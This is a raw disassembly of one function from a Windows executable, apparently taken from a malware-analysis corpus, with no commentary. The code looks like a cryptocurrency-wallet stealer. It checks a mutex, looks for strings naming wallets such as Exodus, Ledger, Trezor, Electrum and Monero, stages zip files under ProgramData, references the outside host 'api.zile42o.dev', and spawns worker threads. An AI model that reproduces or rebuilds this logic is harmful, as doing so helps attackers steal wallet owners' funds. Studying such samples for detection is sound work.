Function at 0x41f8b0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x288
mov eax, dword [0x4bc100]
xor eax, esp
mov dword [esp + 0x284], eax
push esi
push edi
push str._MUTEX_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41f900
mov ecx, dword [esp + 0x28c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0046dafc
mov esp, ebp
pop ebp
ret 0x10
push 4
call fcn.0046dbef
add esp, 4
lea ecx, [esp + 0xdc]
mov dword [eax], 0x41f780
push ecx
push 0
push eax
push 0x449820
push 0
push 0
call fcn.004770bd
add esp, 0x18
mov dword [esp + 0xd8], eax
test eax, eax
je 0x420a61
mov ecx, dword [esp + 0xdc]
test ecx, ecx
je 0x420b50
push ecx
push eax
call fcn.0045b79d
add esp, 8
test eax, eax
jne 0x420b50
xorps xmm0, xmm0
push 0x1f40
movlpd qword [esp + 0xdc], xmm0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.ExodusActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41f9dd
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f9d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a73
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.LedgerActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fa47
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fa3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a78
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.AtomicActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fab1
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41faa7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a7d
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.BitboxActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fb1b
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fb11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a82
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.TrezorActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fb85
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fb7b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a87
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xe
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.ElectrumActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fbef
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fbe5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a8c
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xd
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.CoinomiActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fc59
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fc4f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a91
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.GuardaActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fcc3
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fcb9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a96
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.MoneroActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fd2d
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fd23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420a9b
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.WasabiActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fd97
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fd8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420aa0
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xe
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.DaedalusActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fe01
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fdf7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420aa5
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xd
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.TrezorWActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fe6b
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fe61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420aaa
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 0xd
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.TrezorWActive
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.0040e0a0
push 0
lea eax, [esp + 0x14]
push eax
call fcn.0040aeb0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41fed5
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fecb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420aaf
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push str.ProgramData
call fcn.0047d957
mov edx, eax
mov dword [esp + 0x94], 0
mov ecx, edx
mov dword [esp + 0x98], 0
xorps xmm0, xmm0
add esp, 4
movaps xmmword [esp + 0x80], xmm0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ff10
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x88]
call fcn.0040e0a0
push 0x50
lea eax, [esp + 0x23c]
push 0
push eax
call fcn.0046fd30
add esp, 0xc
lea ecx, [esp + 0x238]
call fcn.00425ab0
cmp dword [esp + 0x94], 0xf
lea ecx, [esp + 0x80]
mov eax, dword [esp + 0x90]
cmova ecx, dword [esp + 0x80]
add eax, ecx
push eax
push ecx
lea eax, [esp + 0xa8]
push eax
lea ecx, [esp + 0x244]
call fcn.0042db40
mov ecx, dword [esp + 0x90]
mov esi, 0x7fffffff
mov eax, esi
sub eax, ecx
cmp eax, 0xd
jb 0x420b4b
cmp dword [esp + 0x94], 0xf
lea eax, [esp + 0x80]
push 0xd
cmova eax, dword [esp + 0x84]
push 0x4ab220
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x68]
call fcn.0043d8b0
mov ecx, dword [esp + 0xb0]
mov edi, 0x7ffffffe
mov eax, edi
sub eax, ecx
cmp eax, 0xd
jb 0x420b4b
cmp dword [esp + 0xb4], 7
lea eax, [esp + 0xa0]
push 0xd
cmova eax, dword [esp + 0xa4]
push str.Directicons
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x128]
call fcn.0043d610
mov ecx, dword [esp + 0x60]
mov eax, esi
sub eax, ecx
cmp eax, 6
jb 0x420b4b
cmp dword [esp + 0x64], 0xf
lea eax, [esp + 0x50]
push 6
cmova eax, dword [esp + 0x54]
push 0x4ab24c
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x158]
call fcn.0043d8b0
mov ecx, dword [esp + 0x120]
mov eax, edi
sub eax, ecx
cmp eax, 6
jb 0x420b4b
cmp dword [esp + 0x124], 7
lea eax, [esp + 0x110]
push 6
cmova eax, dword [esp + 0x114]
push str.ic.zip
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x1a0]
call fcn.0043d610
cmp dword [0x4bcc3c], 7
mov ecx, 0x4bcc28
mov eax, dword [0x4bcc38]
cmova ecx, dword [0x4bcc28]
push str.ic.zip
push 0x4aa37c
lea eax, [ecx + eax*2]
mov ecx, 0x4bcc28
cmova ecx, dword [0x4bcc28]
push ecx
push eax
push ecx
lea ecx, [esp + 0xf4]
call fcn.00434cb0
push eax
lea ecx, [esp + 0x3c]
call fcn.00434e50
add esp, 4
lea ecx, [esp + 0x18]
mov edx, eax
call fcn.00434f60
add esp, 4
lea ecx, [esp + 0x1a4]
mov edx, eax
call fcn.00434f60
mov ecx, dword [esp + 0x28]
add esp, 4
cmp ecx, 7
jbe 0x420134
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42012a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ab4
push ecx
push edx
call fcn.0046dfdf
add esp, 8
mov ecx, dword [esp + 0x44]
xor eax, eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 7
mov word [esp + 0x10], ax
cmp ecx, 7
jbe 0x420187
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42017d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ab4
push ecx
push edx
call fcn.0046dfdf
add esp, 8
mov ecx, dword [esp + 0xf4]
xor eax, eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 7
mov word [esp + 0x30], ax
cmp ecx, 7
jbe 0x4201e0
mov edx, dword [esp + 0xe0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4201d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ab4
push ecx
push edx
call fcn.0046dfdf
add esp, 8
cmp dword [esp + 0x124], 7
lea eax, [esp + 0x110]
push dword [esp + 0x120]
cmova eax, dword [esp + 0x114]
lea ecx, [esp + 0x14]
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push eax
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00411660
lea edx, [esp + 0x48]
mov dword [esp + 0x48], 0
lea ecx, [esp + 0x10]
mov dword [esp + 0x4c], 0x4bcc60
call fcn.004093f0
cmp dword [esp + 0x48], 0
jne 0x420ab9
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x420284
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42027a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420acc
push ecx
push edx
call fcn.0046dfdf
add esp, 8
lea edx, [esp + 0x188]
lea ecx, [esp + 0x1a0]
call fcn.00419410
test al, al
je 0x4202cf
lea edx, [esp + 0x50]
lea ecx, [esp + 0x140]
call fcn.0041d340
test al, al
je 0x4202cf
cmp dword [esp + 0x154], 0xf
lea eax, [esp + 0x140]
cmova eax, dword [esp + 0x140]
push eax
call fcn.00476ef7
add esp, 4
call fcn.0041ec50
mov ecx, dword [esp + 0x90]
mov eax, esi
sub eax, ecx
cmp eax, 7
jb 0x420b4b
cmp dword [esp + 0x94], 0xf
lea eax, [esp + 0x80]
push 7
cmova eax, dword [esp + 0x84]
push 0x4ab264
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x140]
call fcn.0043d8b0
mov ecx, dword [esp + 0xb0]
mov eax, edi
sub eax, ecx
cmp eax, 7
jb 0x420b4b
cmp dword [esp + 0xb4], 7
lea eax, [esp + 0xa0]
push 7
cmova eax, dword [esp + 0xa4]
push str.Direct
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x68]
call fcn.0043d610
mov ecx, dword [esp + 0x138]
sub esi, ecx
cmp esi, 8
jb 0x420b4b
cmp dword [esp + 0x13c], 0xf
lea eax, [esp + 0x128]
push 8
cmova eax, dword [esp + 0x12c]
push 0x4ab27c
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x170]
call fcn.0043d8b0
mov ecx, dword [esp + 0x60]
sub edi, ecx
cmp edi, 8
jb 0x420b4b
cmp dword [esp + 0x64], 7
lea eax, [esp + 0x50]
push 8
cmova eax, dword [esp + 0x54]
push str.test.zip
push ecx
push eax
push ecx
push dword [esp + 0x5c]
lea ecx, [esp + 0x1d0]
call fcn.0043d610
cmp dword [0x4bcc3c], 7
mov ecx, 0x4bcc28
mov eax, dword [0x4bcc38]
cmova ecx, dword [0x4bcc28]
push str.test.zip
push 0x4aa37c
lea eax, [ecx + eax*2]
mov ecx, 0x4bcc28
cmova ecx, dword [0x4bcc28]
push ecx
push eax
push ecx
lea ecx, [esp + 0xf4]
call fcn.00434cb0
push eax
lea ecx, [esp + 0x3c]
call fcn.00434e50
add esp, 4
lea ecx, [esp + 0x58]
mov edx, eax
call fcn.00434f60
add esp, 4
lea ecx, [esp + 0x1d4]
mov edx, eax
call fcn.00434f60
mov ecx, dword [esp + 0x68]
add esp, 4
cmp ecx, 7
jbe 0x42047d
mov edx, dword [esp + 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x420473
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ad1
push ecx
push edx
call fcn.0046dfdf
add esp, 8
mov ecx, dword [esp + 0x44]
xor eax, eax
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 7
mov word [esp + 0x50], ax
cmp ecx, 7
jbe 0x4204d0
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4204c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ad1
push ecx
push edx
call fcn.0046dfdf
add esp, 8
mov ecx, dword [esp + 0xf4]
xor eax, eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 7
mov word [esp + 0x30], ax
cmp ecx, 7
jbe 0x420529
mov edx, dword [esp + 0xe0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42051f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ad1
push ecx
push edx
call fcn.0046dfdf
add esp, 8
lea edx, [esp + 0x1b8]
lea ecx, [esp + 0x1d0]
call fcn.00419410
test al, al
je 0x4205fb
mov byte [esp + 0x48], 0
lea edx, [esp + 0x128]
push dword [esp + 0x48]
lea ecx, [esp + 0x54]
call fcn.00440d90
add esp, 4
mov dword [esp + 0x48], 0
lea edx, [esp + 0x48]
mov dword [esp + 0x4c], 0x4bcc60
lea ecx, [esp + 0x50]
call fcn.004093f0
cmp dword [esp + 0x48], 0
jne 0x420ad6
mov ecx, dword [esp + 0x64]
cmp ecx, 7
jbe 0x4205c4
mov edx, dword [esp + 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4205ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ae9
push ecx
push edx
call fcn.0046dfdf
add esp, 8
lea edx, [esp + 0x128]
lea ecx, [esp + 0x158]
call fcn.0041d340
test al, al
je 0x4205fb
cmp dword [esp + 0x16c], 0xf
lea eax, [esp + 0x158]
cmova eax, dword [esp + 0x158]
push eax
call fcn.00476ef7
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call edi
push 0
xorps xmm0, xmm0
mov dword [esp + 0x64], 0
push 0x4a83de
lea ecx, [esp + 0x58]
movaps xmmword [esp + 0x58], xmm0
mov dword [esp + 0x6c], 0
call fcn.0040e0a0
push 0x4bcc28
lea ecx, [esp + 0x174]
call fcn.0042ada0
push 0x50
lea eax, [esp + 0x1ec]
push 0
push eax
call fcn.0046fd30
add esp, 0xc
lea ecx, [esp + 0x1e8]
call fcn.00427ae0
cmp dword [esp + 0x184], 7
lea ecx, [esp + 0x170]
mov eax, dword [esp + 0x180]
cmova ecx, dword [esp + 0x170]
lea eax, [ecx + eax*2]
push eax
push ecx
lea eax, [esp + 0xe8]
push eax
lea ecx, [esp + 0x1f4]
call fcn.0042e0c0
lea ecx, [esp + 0x1e8]
call fcn.00427a20
push 0xf
xorps xmm0, xmm0
mov dword [esp + 0xb4], 0
push str.api.zile42o.dev
lea ecx, [esp + 0xa8]
movaps xmmword [esp + 0xa8], xmm0
mov dword [esp + 0xbc], 0
call fcn.0040e0a0
mov byte [esp + 0x48], 0
lea edx, [esp + 0x128]
push dword [esp + 0x48]
lea ecx, [esp + 0x14]
call fcn.00440d90
add esp, 4
lea eax, [esp + 0xa0]
lea ecx, [esp + 0x10]
push eax
lea eax, [esp + 0xe4]
push eax
call fcn.0041e8e0
mov ecx, dword [esp + 0x2c]
add esp, 8
cmp ecx, 7
jbe 0x42074c
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x420742
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420aee
push ecx
push edx
call fcn.0046dfdf
add esp, 8
mov ecx, dword [esp + 0xb4]
xor eax, eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 7
mov word [esp + 0x10], ax
cmp ecx, 0xf
jbe 0x42079f
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420795
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420aee
push ecx
push edx
call fcn.0046dfdf
add esp, 8
xorps xmm0, xmm0
lea ecx, [esp + 0xe0]
movaps xmmword [esp + 0xe0], xmm0
movaps xmmword [esp + 0xf0], xmm0
call fcn.00429480
lea ecx, [esp + 0xe0]
call fcn.0040a4d0
lea ecx, [esp + 0xe0]
call fcn.0040afd0
lea ecx, [esp + 0xe0]
call fcn.0040b3b0
push 4
call fcn.0046dbef
add esp, 4
lea ecx, [esp + 0x7c]
mov dword [eax], 0x416bc0
push ecx
push 0
push eax
push 0x449820
push 0
push 0
call fcn.004770bd
add esp, 0x18
mov dword [esp + 0x78], eax
test eax, eax
je 0x420b39
cmp dword [esp + 0x7c], 0
je 0x420b50
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [esp + 0x7c]
cmp ecx, eax
je 0x420b32
push 0
push ecx
push dword [esp + 0x80]
call fcn.0045b7bb
add esp, 0xc
test eax, eax
jne 0x420b2b
xorps xmm0, xmm0
push 0x9c4
movlpd qword [esp + 0x7c], xmm0
call edi
push 4
call fcn.0046dbef
add esp, 4
lea ecx, [esp + 0x74]
mov dword [eax], 0x4136e0
push ecx
push 0
push eax
push 0x449820
push 0
push 0
call fcn.004770bd
add esp, 0x18
mov dword [esp + 0x70], eax
test eax, eax
je 0x420b1c
cmp dword [esp + 0x74], 0
je 0x420b50
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [esp + 0x74]
cmp ecx, eax
je 0x420b32
push 0
push ecx
push dword [esp + 0x78]
call fcn.0045b7bb
add esp, 0xc
test eax, eax
jne 0x420b2b
xorps xmm0, xmm0
lea ecx, [esp + 0xe0]
movlpd qword [esp + 0x70], xmm0
call fcn.0040cf70
push eax
mov ecx, 0x4c1470
call fcn.0042b130
mov ecx, dword [esp + 0xf4]
cmp ecx, 0xf
jbe 0x420921
mov edx, dword [esp + 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420917
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420af3
push ecx
push edx
call fcn.0046dfdf
add esp, 8
push 1
xorps xmm0, xmm0
mov dword [esp + 0xf4], 0
push 0x4ab2ac
lea ecx, [esp + 0xe8]
movaps xmmword [esp + 0xe8], xmm0
mov dword [esp + 0xfc], 0
call fcn.0040e0a0
push 1
xorps xmm0, xmm0
mov dword [esp + 0x10c], 0
push 0x4ab2b0
lea ecx, [esp + 0x100]
mov dword [esp + 0x114], 0
movups xmmword [esp + 0x100], xmm0
call fcn.0040e0a0
push 1
call fcn.0046dbef
add esp, 4
lea ecx, [esp + 0xd4]
push ecx
push 0
push eax
push 0x449ea0
push 0
push 0
call fcn.004770bd
add esp, 0x18
mov dword [esp + 0xd0], eax
test eax, eax
je 0x420b0a
mov ecx, dword [esp + 0xd4]
test ecx, ecx
je 0x420b50
push ecx
push eax
call fcn.0045b79d
add esp, 8
test eax, eax
jne 0x420b50
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0xd4], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 4
mov esi, eax
call fcn.0046dbef
add esp, 4
lea ecx, [esp + 0xcc]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x449f00
push 0
push 0
call fcn.004770bd
add esp, 0x18
mov dword [esp + 0xc8], eax
test eax, eax
je 0x420af8
mov ecx, dword [esp + 0xcc]
test ecx, ecx
je 0x420b50
push ecx
push eax
call fcn.0045b79d
add esp, 8
test eax, eax
jne 0x420b50
xorps xmm0, xmm0
movlpd qword [esp + 0xc8], xmm0
push 0x1f4
call edi
jmp 0x420a58
push 6
mov dword [esp + 0xe0], 0
call fcn.00456f28
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
lea eax, [esp + 0x10]
mov ecx, str.create_directories
push eax
lea edx, [esp + 0x4c]
call fcn.004085c0
call fcn.0047bff9
call fcn.0047bff9
lea eax, [esp + 0x50]
mov ecx, str.create_directories
push eax
lea edx, [esp + 0x4c]
call fcn.004085c0
call fcn.0047bff9
call fcn.0047bff9
call fcn.0047bff9
push 6
mov dword [esp + 0xd0], 0
call fcn.00456f28
push 6
mov dword [esp + 0xd8], 0
call fcn.00456f28
push 6
mov dword [esp + 0x78], 0
call fcn.00456f28
push 2
call fcn.00456f28
push 5
call fcn.00456f28
push 6
mov dword [esp + 0x80], 0
call fcn.00456f28
call fcn.004028c0
push 1
call fcn.00456f28
int3